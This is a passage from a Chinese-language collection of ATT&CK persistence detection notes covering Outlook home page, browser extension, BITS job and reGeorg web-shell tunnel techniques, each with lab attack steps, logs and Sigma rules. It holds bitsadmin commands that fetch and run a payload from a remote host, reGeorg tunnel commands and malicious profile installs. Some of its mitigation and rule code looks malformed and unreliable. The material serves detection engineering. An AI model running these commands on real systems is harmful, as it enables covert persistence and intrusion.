source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" (EventCode=13 TargetObject=\"*Outlook\\WebView*\") OR (EventCode=3 Image=\"*outlook.exe\" DestinationPort IN (80,443)) | stats count by EventCode, TargetObject, Image, DestinationIp, ComputerName\n     ```\n\n5. **注册表监控**：\n   - 监控`HKCU\\Software\\Microsoft\\Office\\<version>\\Outlook\\WebView`的创建或修改。  \n   - 示例PowerShell查询：\n     ```powershell\n     Get-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Office\\*\\Outlook\\WebView\\*\" -ErrorAction SilentlyContinue\n     ```\n\n6. **威胁情报整合**：\n   - 检查HTML文件或URL是否与已知恶意样本相关，结合威胁情报平台（如VirusTotal、AlienVault）。\n\n## 建议\n\n### 缓解措施\n\n防御Outlook主页持久化需从注册表保护、网络监控和Outlook配置入手：\n\n1. **限制注册表访问**  \n   - 配置ACL，限制非管理员用户对`HKCU\\Software\\Microsoft\\Office\\<version>\\Outlook\\WebView`的写入权限。  \n\n2. **禁用Outlook主页功能**  \n   - 配置组策略禁用Web视图：  \n     `用户配置 > 管理模板 > Microsoft Outlook > 禁用Web视图`。  \n   - 或设置注册表：\n     ```powershell\n     Set-ItemProperty -Path \"HKCU:\\Software\\Policies\\Microsoft\\Office\\16.0\\Outlook\\Options\\WebView\" -Name \"Enable\" -Value 0\n     ```\n\n3. **加强Outlook安全**  \n   - 启用Outlook攻击面减少（ASR）规则，限制脚本执行。  \n   - 配置组策略：`计算机配置 > 管理模板 > Microsoft Outlook > 安全设置 > 阻止不受信任的HTML内容`。\n\n4. **凭据保护**  \n   - 启用多因素认证（MFA）保护Outlook账户。  \n   - 使用强密码策略，避免弱凭据。\n\n5. **日志和监控**  \n   - 启用Sysmon事件ID 13和3，检测注册表修改及异常网络连接。  \n   - 配置SIEM监控`Outlook\\WebView`相关事件。  \n   - 使用EDR工具检测Outlook进程的非标准行为。\n\n6. **定期审计**  \n   - 检查Outlook WebView注册表键是否存在。  \n\n7. **使用Microsoft工具**  \n   - 运行Microsoft提供的PowerShell脚本，检测和修复Outlook主页或表单注入：  \n     <https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/detect-and-remediate-outlook-rules-forms-attack>.\n\n## 参考推荐\n\n- MITRE ATT&CK: T1137.004  \n  <https://attack.mitre.org/techniques/T1137/004/>  \n- Atomic Red Team: T1137.004  \n  <https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1137.004/T1137.004.yaml>  \n- Detect and Remediate Outlook Rules and Forms Attacks  \n  <https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/detect-and-remediate-outlook-rules-forms-attack?view=o365-worldwide>"
  },
  {
    "path": "Windows/05持久化/T1176-浏览器扩展.md",
    "content": "# T1176-浏览器扩展\n\n## 描述\n\n攻击者可能滥用浏览器扩展（或插件）在目标系统上建立持久化访问（T1176）。浏览器扩展是增强浏览器功能的小程序，可通过应用商店或直接安装，拥有对浏览器访问内容（如网页数据、用户输入、凭据）的广泛权限。恶意扩展可通过伪装为合法扩展、社交工程、或在已入侵系统上直接安装等方式部署。\n\n恶意扩展可能窃取敏感信息（如凭据、浏览数据）、加载远程脚本、或作为后门与命令与控制（C2）服务器通信。攻击者还可能篡改扩展的更新URL，从其控制的服务器推送恶意更新，或通过移动配置文件（如`.mobileconfig`）静默安装扩展（macOS 11之前）。由于浏览器应用商店的审核机制可能存在漏洞，恶意扩展具有较高的隐蔽性。检测重点在于监控扩展安装行为、异常网络连接及文件/注册表修改。\n\n## 测试案例\n\n1. **Chrome开发者模式安装扩展**  \n   攻击者通过启用开发者模式，手动加载未打包的恶意扩展。  \n2. **Chrome应用商店安装恶意扩展**  \n   攻击者通过伪装的合法扩展（如VPN）从Chrome Web Store安装恶意扩展。  \n3. **Firefox临时加载扩展**  \n   攻击者通过Firefox的调试界面加载临时恶意扩展。  \n4. **Edge Chromium插件安装**  \n   攻击者从Microsoft Edge附加商店安装伪装为VPN的恶意扩展，隐藏C2流量。  \n5. **macOS移动配置文件（macOS 11前）**  \n   攻击者通过`.mobileconfig`文件静默安装扩展。\n\n## 检测日志\n\n**Windows安全日志**  \n- **事件ID 4688**：记录进程创建，可能涉及浏览器或扩展安装工具的执行。  \n\n**Sysmon日志**  \n- **事件ID 1**：记录进程创建，包含浏览器（如`chrome.exe`）或工具（如`reg.exe`）的命令行参数。  \n- **事件ID 13**：记录注册表修改，如扩展相关的注册表键变更。  \n- **事件ID 3**：记录网络连接，检测扩展与C2服务器的通信。  \n- **事件ID 11**：记录文件创建，检测扩展文件写入磁盘。  \n\n**配置日志记录**  \n- Windows：  \n  - 启用注册表审核：`计算机配置 > 策略 > Windows设置 > 安全设置 > 高级审核策略配置 > 对象访问 > 审核注册表`。  \n  - 启用命令行参数记录：`计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。  \n  - 部署Sysmon以增强注册表、文件和网络监控。  \n- macOS：  \n  - 启用命令行工具（如`profiles`）的审计日志。  \n  - 使用Endpoint Security Framework监控文件和进程活动。\n\n## 测试复现\n\n### 环境准备\n- **靶机**：Windows 10或macOS（10.15或11+），安装Chrome、Firefox或Edge浏览器。  \n- **权限**：用户权限（开发者模式安装扩展）或管理员权限（某些系统级修改）。  \n- **工具**：测试用扩展文件（如`manifest.json`）、恶意HTML样本、Sysmon（Windows）或日志工具（macOS）。  \n- **测试资源**：Atomic Red Team的T1176测试用例。\n\n### 攻击步骤\n\n1. **测试1：Chrome开发者模式安装扩展**  \n   - 打开Chrome，导航到`chrome://extensions/`，启用“开发者模式”。  \n   - 点击“加载已解压的扩展”，选择包含`manifest.json`的恶意扩展文件夹（如`C:\\Users\\Administrator\\Desktop\\Browser_Extension`）。  \n   - **验证**：扩展加载后，打开新标签页，观察是否触发恶意行为（如弹出窗口或网络请求）。  \n   - **清理**：在`chrome://extensions/`中移除扩展。\n\n2. **测试2：Chrome应用商店安装恶意扩展**  \n   - 打开Chrome，导航到[https://chrome.google.com/webstore/detail/minimum-viable-malicious/odlpfdolehmhciiebahbpnaopneicend](https://chrome.google.com/webstore/detail/minimum-viable-malicious/odlpfdolehmhciiebahbpnaopneicend)。  \n   - 点击“添加到Chrome”，安装扩展。  \n   - **验证**：检查扩展是否发起异常网络连接或窃取数据。  \n   - **清理**：在`chrome://extensions/`中移除扩展。\n\n3. **测试3：Firefox临时加载扩展**  \n   - 打开Firefox，导航到`about:debugging#/runtime/this-firefox`。  \n   - 点击“加载临时附加组件”，选择恶意扩展的`manifest.json`（如[https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1176/src/manifest.json](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1176/src/manifest.json)）。  \n   - **验证**：扩展加载后，观察是否触发恶意行为。  \n   - **清理**：在`about:addons`中移除扩展。\n\n4. **测试4：Edge Chromium插件安装**  \n   - 打开Edge，导航到[https://microsoftedge.microsoft.com/addons/detail/fjnehcbecaggobjholekjijaaekbnlgj](https://microsoftedge.microsoft.com/addons/detail/fjnehcbecaggobjholekjijaaekbnlgj)。  \n   - 点击“获取”，安装VPN扩展。  \n   - **验证**：检查扩展是否隐藏C2流量。  \n   - **Cleanup**：在`edge://extensions/`中移除扩展。\n\n5. **测试5：macOS移动配置文件（macOS 10.15）**  \n   - 使用`profiles`工具安装恶意`.mobileconfig`文件：\n     ```bash\n     profiles install -type=configuration -path=/path/to/malicious.mobileconfig\n     ```\n   - **验证**：检查`/Library/Managed Preferences/<username>/`下的`plist`文件，确认扩展安装。  \n   - **Cleanup**：移除配置文件：\n     ```bash\n     profiles remove -identifier=<profile_id>\n     ```\n\n**注意**：此复现仅用于学习和测试目的，需在合法授权的测试环境中进行，切勿用于非法活动。\n\n## 测试留痕\n\n- **Sysmon日志（事件ID 1，Windows）**：\n  ```plaintext\n  EventID: 1\n  UtcTime: 2022-01-11 07:00:00.123\n  ProcessGuid: {78c84c47-1234-61dd-abcd-000000000800}\n  ProcessId: 4567\n  Image: C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe\n  CommandLine: \"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe\" --load-extension=\"C:\\Users\\Administrator\\Desktop\\Browser_Extension\"\n  User: ZHULI\\Administrator\n  IntegrityLevel: Medium\n  ```\n- **Sysmon日志（事件ID 13，Windows）**：\n  ```plaintext\n  EventID: 13\n  EventType: SetValue\n  UtcTime: 2022-01-11 07:00:01.234\n  ProcessId: {4567}\n  Image: C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe\n  TargetObject: HKCU\\Software\\Google\\Chrome\\Extensions\\<extension_id>\n  Details: <extension_data>\n  User: ZHULI\\Administrator\n  ```\n- **Sysmon日志（事件ID 3，Windows）**：\n  ```plaintext\n  EventID: 3\n  Image: C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe\n  DestinationIp: <C2_IP>\n  DestinationPort: 443\n  Protocol: tcp\n  Initiated: true\n  User: ZHULI\\Administrator\n  ```\n- **macOS Unified Log（macOS 10.15）**：\n  ```plaintext\n  Timestamp: 2022-01-11 12:00:01.123\n  Process: profiles\n  Subsystem: com.apple.ManagedClient\n  Message: Installing configuration profile: /path/to/malicious.mobileconfig\n  ```\n- **macOS File Event**：\n  ```plaintext\n  Path: /Library/Managed Preferences/<username>/<extension_id>.plist\n  Event: Created\n  Timestamp: 2022-01-11 12:00:02.456\n  ```\n\n## 检测规则/思路\n\n**检测规则**  \n通过分析Sysmon、Windows安全日志或macOS日志，检测浏览器扩展安装及异常行为。以下是具体思路：\n\n1. **日志分析**：\n   - **Windows**：  \n     - 监控Sysmon事件ID 13，检测浏览器扩展相关的注册表键（如`HKCU\\Software\\Google\\Chrome\\Extensions`）修改。  \n     - 监控Sysmon事件ID 3，检测浏览器发起的异常网络连接（如C2通信）。  \n     - 监控Sysmon事件ID 11，检测扩展文件（如`.crx`、`.xpi`）写入磁盘。  \n     - 监控事件ID 4688，检测浏览器开发者模式的命令行参数。  \n   - **macOS**：  \n     - 监控`profiles`工具的命令行执行（如`profiles install`）。  \n     - 检测`/Library/Managed Preferences/<username>/`下的`plist`文件创建。  \n\n2. **Sigma规则（Windows 扩展注册表修改）**：\n   ```yaml\n   title: 浏览器扩展注册表修改\n   id: t67890123-abcd456789-vwxyz012345\n   status: experimental\n   description: 检测浏览器扩展注册表键的创建或修改，可能表明恶意扩展安装\n   references:\n     - https://attack.mitre.org/techniques/T1176/\n     - https://github.com/redcanaryco/atomic-update/blob/master/T1176/T1176.yaml\n   tags:\n     - attack.persistence\n     - attack.t1176\n   logsource:\n     product: windows\n     service: sysmon\n   detection:\n     selection:\n       EventID: 13\n       TargetObject|contains:\n         - '\\Software\\Google\\Chrome\\Extensions'\n         - '\\Software\\Mozilla\\Firefox\\Extensions'\n         - '\\Software\\Microsoft\\Edge\\Extensions'\n     condition: selection\n   fields:\n     - TargetObject\n     - Details\n     - Image\n   falsepositives:\n     - 合法用户安装的扩展\n   level: medium\n   ```\n\n3. **Sigma规则（Windows 异常网络连接）**：\n   ```yaml\n   title: 浏览器扩展异常网络连接\n   id: u78901234-abcd456789-xyz123456789\n   status: experimental\n   description: 检测浏览器扩展发起的异常网络连接，可能与C2通信相关\n   logsource:\n     product: windows\n     service: sysmon\n   detection:\n     selection:\n       EventID: 3\n       Image|endswith:\n         - '\\chrome.exe'\n         - '\\firefox.exe'\n         - '\\msedge.exe'\n       DestinationPort:\n         - 80\n         - 443\n       Initiated: true\n     condition: selection\n     filter:\n       DestinationIp|startswith:\n         - '172.217.'  # Google\n         - '104.0.'    # Microsoft\n         - '192.168.'  # Internal\n     condition: selection and not filter\n   fields:\n     - Image\n     - DestinationIp\n     - DestinationPort\n   falsepositives:\n     - 合法扩展的更新或数据请求\n   level: medium\n   ```\n\n4. **SIEM规则**：\n   - 检测扩展安装及网络行为。\n   - 示例Splunk查询：\n     ```spl\n     source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" (EventID=13 TargetObject IN (\"*Chrome\\Extensions*\",\"*Firefox\\Extensions*\",\"*Edge\\Extensions*\")) OR (EventID=3 Image IN (\"*chrome.exe\",\"*firefox.exe\",\"*msedge.exe\") DestinationPort IN (80,443) NOT DestinationIp IN (\"172.217.*\",\"104.*\")) | stats count by EventID, TargetObject, Image, DestinationIp, ComputerName\n     ```\n\n5. **威胁情报整合**：\n   - 检查扩展文件、URL或网络连接是否与已知恶意样本相关，结合威胁情报平台（如VirusTotal、AlienVault）。  \n\n## 参考链接\n\n- MITRE ATT&CK: T1176  \n  <https://attack.mitre.org/techniques/T1176/>  \n- Atomic Red Team: T1176  \n  <https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1176/T1176.md>"
  },
  {
    "path": "Windows/05持久化/T1197-Win-BITS Jobs权限维持.md",
    "content": "# T1197-Win-BITS Jobs权限维持\n\n## 描述\n\n攻击者可能滥用Windows后台智能传输服务（BITS）实现持久化、文件传输或数据外泄（T1197）。BITS是一种低带宽异步文件传输机制，通过COM接口公开，支持HTTP/HTTPS和SMB协议，常用于Windows更新、消息传递等后台任务。BITS任务存储在BITS数据库中，无需创建新文件或修改注册表，且通常被主机防火墙允许，具有较高隐蔽性。\n\n攻击者可通过`bitsadmin.exe`或PowerShell cmdlet（如`Start-BitsTransfer`）创建BITS任务，下载恶意文件（如可执行文件、脚本），并通过`SetNotifyCmdLine`设置任务完成或错误时执行的命令，实现持久化。BITS任务默认生命周期为90天（可延长），支持系统重启后自动恢复，适合长期潜伏。上传功能还可用于通过替代协议外泄数据（T1048）。攻击者需管理员权限以创建某些高级任务。检测重点在于监控BITS任务创建、命令行参数及异常网络活动。\n\n## 测试案例\n\n1. **BITS任务下载恶意文件**  \n   攻击者使用`bitsadmin`或PowerShell下载恶意可执行文件到本地。  \n2. **BITS任务持久化**  \n   攻击者创建长期BITS任务，设置任务完成时执行恶意文件，实现重启后持久化。  \n3. **BITS数据外泄**  \n   攻击者使用BITS上传功能将敏感数据传输至远程服务器。\n\n## 检测日志\n\n**Windows安全日志**  \n- **事件ID 4688**：记录进程创建，包含`bitsadmin.exe`或PowerShell的命令行参数。  \n\n**Windows BITS客户端日志**  \n- **事件ID 3**：记录BITS任务创建。  \n- **事件ID 4**：记录任务完成或错误。  \n- **事件ID 59**：记录任务启动。  \n- **事件ID 60**：记录任务修改（如添加文件或设置通知命令）。  \n\n**Sysmon日志**  \n- **事件ID 1**：记录进程创建，包含`bitsadmin.exe`或`powershell.exe`的命令行参数。  \n- **事件ID 3**：记录网络连接，检测BITS任务的HTTP/HTTPS或SMB流量。  \n- **事件ID 11**：记录文件创建，检测BITS下载的文件写入磁盘。  \n\n**配置日志记录**  \n- 启用进程创建审核：`计算机配置 > 策略 > Windows设置 > 安全设置 > 高级审核策略配置 > 详细跟踪 > 审核进程创建`。  \n- 启用命令行参数记录：`计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。  \n- 启用BITS客户端日志：`事件查看器 > 应用程序和服务日志 > Microsoft-Windows-BITS-Client/Operational`。  \n- 部署Sysmon以增强进程、网络和文件监控。\n\n## 测试复现\n\n### 环境准备\n- **靶机**：Windows 10或Windows Server 2012+。  \n- **权限**：管理员权限（某些BITS操作需要）。  \n- **工具**：`bitsadmin.exe`，PowerShell，测试用恶意文件（如`pentestlab.exe`）。  \n- **网络**：可访问的HTTP服务器（如`http://10.0.2.21/pentestlab.exe`）。  \n- **日志**：启用Windows安全日志、BITS客户端日志和Sysmon。\n\n### 攻击步骤\n\n1. **使用bitsadmin下载文件**  \n   创建BITS任务下载恶意文件：\n   ```dos\n   bitsadmin /transfer backdoor /download /priority high http://10.0.2.21/pentestlab.exe C:\\tmp\\pentestlab.exe\n   ```\n\n2. **使用PowerShell下载文件**  \n   实现相同功能：\n   ```powershell\n   Start-BitsTransfer -Source \"http://10.0.2.21/pentestlab.exe\" -Destination \"C:\\tmp\\pentestlab.exe\"\n   ```\n\n3. **配置BITS任务持久化**  \n   - 创建任务：\n     ```dos\n     bitsadmin /create backdoor\n     ```\n   - 添加文件：\n     ```dos\n     bitsadmin /addfile backdoor \"http://10.0.2.21/pentestlab.exe\" \"C:\\tmp\\pentestlab.exe\"\n     ```\n   - 设置通知命令（执行下载的文件）：\n     ```dos\n     bitsadmin /SetNotifyCmdLine backdoor C:\\tmp\\pentestlab.exe NUL\n     ```\n   - 设置重试延迟（60秒）：\n     ```dos\n     bitsadmin /SetMinRetryDelay backdoor 60\n     ```\n   - 启动任务：\n     ```dos\n     bitsadmin /resume backdoor\n     ```\n![image1](https://img2018.cnblogs.com/blog/894761/201911/894761-20191111110145812-668139170.png)\n\n![image2](https://img2018.cnblogs.com/blog/894761/201911/894761-20191111110227491-23710429.png)\n\n![image3](https://img2018.cnblogs.com/blog/894761/201911/894761-20191111110245500-1362389929.png)\n\n## 测试留痕\n\n![image4](https://s2.ax1x.com/2020/01/14/lqedzV.png)\n\n![image5](https://s2.ax1x.com/2020/01/14/lqeWz6.png)\n\n![image6](https://s2.ax1x.com/2020/01/14/lqmiYn.png)\n\n## 检测规则/思路\n\n**检测规则**  \n通过分析Windows安全日志、BITS客户端日志和Sysmon日志，检测BITS任务创建及异常行为。以下是具体思路：\n\n1. **日志分析**：\n   - 监控BITS客户端日志事件ID 3、4、59、60，检测任务创建、修改及执行。  \n   - 监控Sysmon事件ID 1或Windows事件ID 4688，检测`bitsadmin.exe`或`powershell.exe`的异常命令行（如`/transfer`、`SetNotifyCmdLine`）。  \n   - 监控Sysmon事件ID 3，检测BITS任务的HTTP/HTTPS或SMB网络连接。  \n   - 监控Sysmon事件ID 11，检测BITS下载的文件写入磁盘。  \n\n2. **Sigma规则（BITS任务创建）**：\n   ```yaml\n   title: BITS任务创建或下载\n   id: v78901234-abcd567890-xyz123456789\n   status: stable\n   description: 检测通过bitsadmin.exe或PowerShell创建的BITS任务或下载行为\n   references:\n     - https://attack.mitre.org/techniques/T1197/\n     - https://www.cnblogs.com/xiaozi/p/11833583.html\n   tags:\n     - attack.persistence\n     - attack.t1197\n   logsource:\n     category: process_creation\n     product: windows\n   detection:\n     selection_bitsadmin:\n       EventID:\n         - 4688\n         - 1\n       Image|endswith: '\\bitsadmin.exe'\n       CommandLine|contains:\n         - '/transfer'\n         - '/create'\n         - '/addfile'\n         - '/SetNotifyCmdLine'\n     selection_powershell:\n       EventID:\n         - 4688\n         - 1\n       Image|endswith: '\\powershell.exe'\n       CommandLine|contains: 'Start-BitsTransfer'\n     condition: selection_bitsadmin or selection_powershell\n   fields:\n     - Image\n     - CommandLine\n     - ParentCommandLine\n   falsepositives:\n     - 合法的Windows更新或软件安装\n   level: medium\n   ```\n\n3. **Sigma规则（BITS网络活动）**：\n   ```yaml\n   title: BITS任务异常网络连接\n   id: w89012345-abcd678901-yza234567890\n   status: experimental\n   description: 检测BITS任务发起的异常网络连接，可能与恶意传输相关\n   logsource:\n     product: windows\n     service: sysmon\n   detection:\n     selection:\n       EventID: 3\n       Image|endswith: '\\svchost.exe'\n       DestinationPort:\n         - 80\n         - 443\n         - 445\n       Initiated: true\n     filter:\n       DestinationIp|startswith:\n         - '192.168.'\n         - '172.16.'\n         - '10.'\n     condition: selection and not filter\n   fields:\n     - Image\n     - DestinationIp\n     - DestinationPort\n   falsepositives:\n     - 合法的BITS更新流量\n   level: medium\n   ```\n\n4. **SIEM规则**：\n   - 检测BITS任务及网络活动。\n   - 示例Splunk查询：\n     ```spl\n     (source=\"WinEventLog:Microsoft-Windows-BITS-Client/Operational\" EventCode IN (3,60)) OR (source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" (EventID=1 Image IN (\"*bitsadmin.exe\",\"*powershell.exe\") CommandLine IN (\"*transfer*\",\"*Start-BitsTransfer*\",\"*SetNotifyCmdLine*\")) OR (EventID=3 Image=\"*svchost.exe\" DestinationPort IN (80,443,445))) | stats count by EventCode, Image, CommandLine, DestinationIp, ComputerName\n     ```\n\n5. **BITS任务审计**：\n   - 使用`bitsadmin`检查活跃任务：\n     ```dos\n     bitsadmin /list /allusers /verbose\n     ```\n   - 检查BITS服务状态：\n     ```dos\n     sc query bits\n     ```\n\n6. **威胁情报整合**：\n   - 检查下载文件的哈希或URL是否与已知恶意样本相关，结合威胁情报平台（如VirusTotal、AlienVault）。  \n\n## 建议\n\n### 缓解措施\n\n防御BITS滥用需从权限控制、服务配置和监控入手：\n\n1. **限制BITS任务创建**  \n   - 限制非管理员用户对BITS服务的访问：  \n     ```powershell\n     $acl = Get-Acl \"HKLM:\\SYSTEM\\CurrentControlSet\\Services\\BITS\"\n     $acl.SetAccessRuleProtection($true, $false)\n     Set-Acl -Path \"HKLM:\\SYSTEM\\CurrentControlSet\\Services\\BITS\" -AclObject $acl\n     ```\n\n2. **禁用非必要BITS功能**  \n   - 禁用BITS服务（仅在不依赖更新时）：  \n     ```powershell\n     Stop-Service -Name BITS\n     Set-Service -Name BITS -StartupType Disabled\n     ```\n\n3. **白名单机制**  \n   - 配置组策略，限制非系统进程调用BITS：  \n     `计算机配置 > 管理模板 > 网络 > 后台智能传输服务 > 限制非管理员创建任务`。  \n\n4. **网络控制**  \n   - 限制BITS的HTTP/HTTPS和SMB出站连接，仅允许可信域：  \n     ```powershell\n     New-NetFirewallRule -DisplayName \"Restrict BITS Outbound\" -Direction Outbound -Service BITS -Action Block -AllowList \"windowsupdate.microsoft.com\"\n     ```\n\n5. **日志和监控**  \n   - 启用BITS客户端日志（事件ID 3、4、59、60）。  \n   - 配置Sysmon监控`bitsadmin.exe`、`powershell.exe`及网络连接。  \n   - 使用EDR工具检测BITS任务的异常行为。  \n\n6. **定期审计**  \n   - 检查活跃BITS任务：  \n     ```powershell\n     Get-BitsTransfer -AllUsers\n     ```\n   - 审计下载文件：  \n     ```powershell\n     Get-ChildItem -Path \"C:\\tmp\" -Recurse | Where-Object { $_.Extension -eq \".exe\" }\n     ```\n\n## 参考推荐\n\n- MITRE ATT&CK: T1197  \n  <https://attack.mitre.org/techniques/T1197/>  \n- Windows权限维持（六）- BITS Jobs  \n  <https://www.cnblogs.com/xiaozi/p/11833583.html>  \n- BITS持久化留痕日志  \n  <https://github.com/sbousseaden/EVTX-ATTACK-SAMPLES/blob/master/Persistence/persist_bitsadmin_Microsoft-Windows-Bits-Client-Operational.evtx>  "
  },
  {
    "path": "Windows/05持久化/T1505.003-Regeorg-HTTP隧道检测.md",
    "content": "# T1505-003-Regeorg-HTTP隧道检测\n\n## 描述\n\n攻击者可能通过部署Web Shell在Web服务器上创建后门，以实现对目标系统的持久化访问（T1505.003）。Web Shell是一种运行在可公开访问Web服务器上的脚本，提供命令执行或系统交互接口，允许攻击者通过HTTP/HTTPS协议控制受害网络。Web Shell可以是服务器端脚本（如PHP、JSP、ASP）或客户端工具，具有高隐蔽性，常用于渗透内网。\n\n**ReGeorg**是Web Shell工具reDuh的继任者，利用SOCKS5协议在会话层创建HTTP隧道，结合代理工具（如Proxifier）实现高效内网穿透。攻击者通过上传ReGeorg脚本（如`tunnel.jsp`）到受控Web服务器，配置HTTP隧道，访问内网资源（如RDP、Web服务）。ReGeorg通过伪装为正常HTTP流量，规避传统防火墙检测。检测重点在于识别ReGeorg的特征性URL参数（如`cmd=connect`）和异常流量模式。\n\n## 测试案例\n\n1. **ReGeorg HTTP隧道搭建**  \n   攻击者在受控Web服务器上部署ReGeorg脚本，创建SOCKS5隧道，访问内网主机（如`172.17.0.2:80`）。  \n2. **结合Proxifier代理**  \n   攻击者使用Proxifier将本地流量通过ReGeorg隧道转发至内网。  \n3. **伪装正常流量**  \n   攻击者通过分块传输（`Transfer-Encoding: chunked`）或伪造合法HTTP头（如`User-Agent`）隐藏隧道流量。\n\n参考测试案例：<https://cloud.tencent.com/developer/article/1779195>\n\n## 检测日志\n\n**Web服务器日志（HTTP日志）**  \n- 记录HTTP请求的URL、查询参数、头信息（如`X-CMD`、`X-TARGET`）和响应状态。  \n- 示例日志文件：`access.log`（Apache）、`iis.log`（IIS）。  \n\n**网络流量日志**  \n- 记录TCP/HTTP流量，包含源/目标IP、端口、协议和负载数据。  \n- 工具：Wireshark、`tcpdump`。  \n\n**Sysmon日志（Windows服务器）**  \n- **事件ID 3**：记录Web服务器进程（如`apache.exe`）的网络连接。  \n- **事件ID 11**：记录Web Shell脚本（如`tunnel.jsp`）的写入。  \n\n**配置日志记录**  \n- 启用Web服务器详细日志：记录完整的URL查询参数和HTTP头。  \n- 配置WAF/IDS：捕获异常HTTP请求。  \n- 部署Sysmon：监控Web服务器的文件和网络活动。  \n- 使用`tcpdump`或NetFlow捕获网络流量。\n\n## 测试复现\n\n### 环境准备\n- **靶机**：Web服务器（如Apache/Tomcat，IP：`182.x.x.x:8080`），运行ReGeorg脚本（如`tunnel.jsp`）。  \n- **内网主机**：目标服务（如`172.17.0.2:80`，运行Web应用）。  \n- **攻击机**：Kali Linux，安装`tcpdump`、Wireshark、Proxifier和ReGeorg。  \n- **工具**：ReGeorg源码（<https://github.com/sensepost/reGeorg>）。  \n- **日志**：启用Web服务器日志、Sysmon和网络流量捕获。\n\n### 攻击步骤\n1. **部署ReGeorg Web Shell**  \n   - 将`tunnel.jsp`上传至受控Web服务器（如`/var/www/html/tunnel.jsp`）。  \n   - 验证访问：`http://182.x.x.x:8080/tunnel.jsp`。  \n\n2. **启动ReGeorg隧道**  \n   - 在Kali上运行ReGeorg：\n     ```bash\n     python reGeorgSocksProxy.py -u http://182.x.x.x:8080/tunnel.jsp -p 1080\n     ```\n   - 配置Proxifier，将本地SOCKS5代理设置为`127.0.0.1:1080`。  \n\n3. **访问内网资源**  \n   - 使用`curl`通过隧道访问内网Web服务：\n     ```bash\n     curl -x socks5://127.0.0.1:1080 http://172.17.0.2/login.php\n     ```\n\n4. **捕获流量**  \n   - 在Kali上使用`tcpdump`抓包：\n     ```bash\n     tcpdump -i eth0 -w kali.pcap\n     ```\n   - 在Web服务器上抓包：\n     ```bash\n     tcpdump -i eth0 -w server.pcap\n     ```\n   - 使用Wireshark分析流量，追踪TCP流。\n\n5. **清理（测试后）**  \n   - 删除Web Shell：`rm /var/www/html/tunnel.jsp`。  \n   - 终止ReGeorg进程：`Ctrl+C`。  \n   - 移除Proxifier代理配置。\n\n### 流量特征\n- **Kali抓包**：显示HTTP请求（如`GET /login.php`）和ReGeorg命令（`cmd=connect`、`cmd=forward`）。  \n- **Web服务器抓包**：显示ReGeorg的POST请求，包含`X-CMD`头（如`CONNECT`、`READ`、`FORWARD`、`DISCONNECT`）和内网目标（如`X-TARGET: 172.17.0.2`）。  \n- **内网主机抓包**：显示Web服务器作为跳板，请求内网资源（如`/login.php`）。\n\n**注意**：此复现仅用于学习和测试目的，需在合法授权的测试环境中进行，切勿用于非法活动。\n\n## 测试留痕\n\n### Kali（攻击机）\n- **tcpdump/Wireshark抓包**：\n  ```plaintext\n  GET /login.php HTTP/1.1\n  Host: 172.17.0.2\n  User-Agent: curl/7.68.0\n  Accept: */*\n  HTTP/1.1 200 OK\n  Date: Thu, 17 Dec 2020 16:39:09 GMT\n  Server: Apache/2.4.7 (Ubuntu)\n  Content-Length: 1567\n  Content-Type: text/html;charset=utf-8\n  ```\n\n### Web服务器（ServerA）\n- **连接请求（cmd=connect）**：\n  ```plaintext\n  POST http://182.x.x.x:8080/tunnel.jsp?cmd=connect&target=172.17.0.2&port=80 HTTP/1.1\n  Host: 182.x.x.x:8080\n  Accept-Encoding: identity\n  X-CMD: CONNECT\n  X-TARGET: 172.17.0.2\n  X-PORT: 80\n  User-Agent: python-urllib3/1.26.2\n  HTTP/1.1 200 OK\n  Server: Apache-Coyote/1.1\n  X-STATUS: OK\n  Content-Length: 0\n  ```\n- **读取请求（cmd=read）**：\n  ```plaintext\n  POST /tunnel.jsp?cmd=read HTTP/1.1\n  Host: 182.x.x.x:8080\n  Accept-Encoding: identity\n  X-CMD: READ\n  Transfer-Encoding: chunked\n  User-Agent: python-urllib3/1.26.2\n  HTTP/1.1 200 OK\n  X-STATUS: OK\n  ```\n- **转发请求（cmd=forward）**：\n  ```plaintext\n  POST /tunnel.jsp?cmd=forward HTTP/1.1\n  Host: 182.x.x.x:8080\n  Accept-Encoding: identity\n  Content-Length: 83\n  X-CMD: FORWARD\n  GET /login.php HTTP/1.1\n  Host: 172.17.0.2\n  User-Agent: curl/7.68.0\n  Accept: */*\n  HTTP/1.1 200 OK\n  X-STATUS: OK\n  ```\n- **断开请求（cmd=disconnect）**：\n  ```plaintext\n  POST /tunnel.jsp?cmd=disconnect HTTP/1.1\n  Host: 182.x.x.x:8080\n  Accept-Encoding: identity\n  X-CMD: DISCONNECT\n  HTTP/1.1 200 OK\n  X-STATUS: OK\n  ```\n\n### 内网服务器\n- **内网请求**：\n  ```plaintext\n  GET /login.php HTTP/1.1\n  Host: 172.17.0.2\n  User-Agent: curl/7.68.0\n  Accept: */*\n  HTTP/1.1 200 OK\n  Server: Apache/2.4.7 (Ubuntu)\n  Content-Length: 1567\n  Content-Type: text/html;charset=utf-8\n  ```\n\n## 检测规则/思路\n\n**检测规则**  \n通过分析Web服务器日志和网络流量，检测ReGeorg的特征性HTTP请求和隧道行为。以下是具体思路：\n\n1. **日志分析**：\n   - 监控Web服务器日志，检测URL查询参数中的ReGeorg命令（如`cmd=connect`、`cmd=read`、`cmd=forward`、`cmd=disconnect`）。  \n   - 检测HTTP头中的ReGeorg标记（如`X-CMD`、`X-TARGET`、`X-PORT`）。  \n   - 监控Sysmon事件ID 3，检测Web服务器进程的异常网络连接（如内网IP）。  \n   - 监控Sysmon事件ID 11，检测Web Shell文件的创建（如`tunnel.jsp`）。  \n\n2. **Sigma规则（ReGeorg URL参数检测）**：\n   ```yaml\n   title: ReGeorg HTTP隧道检测\n   id: 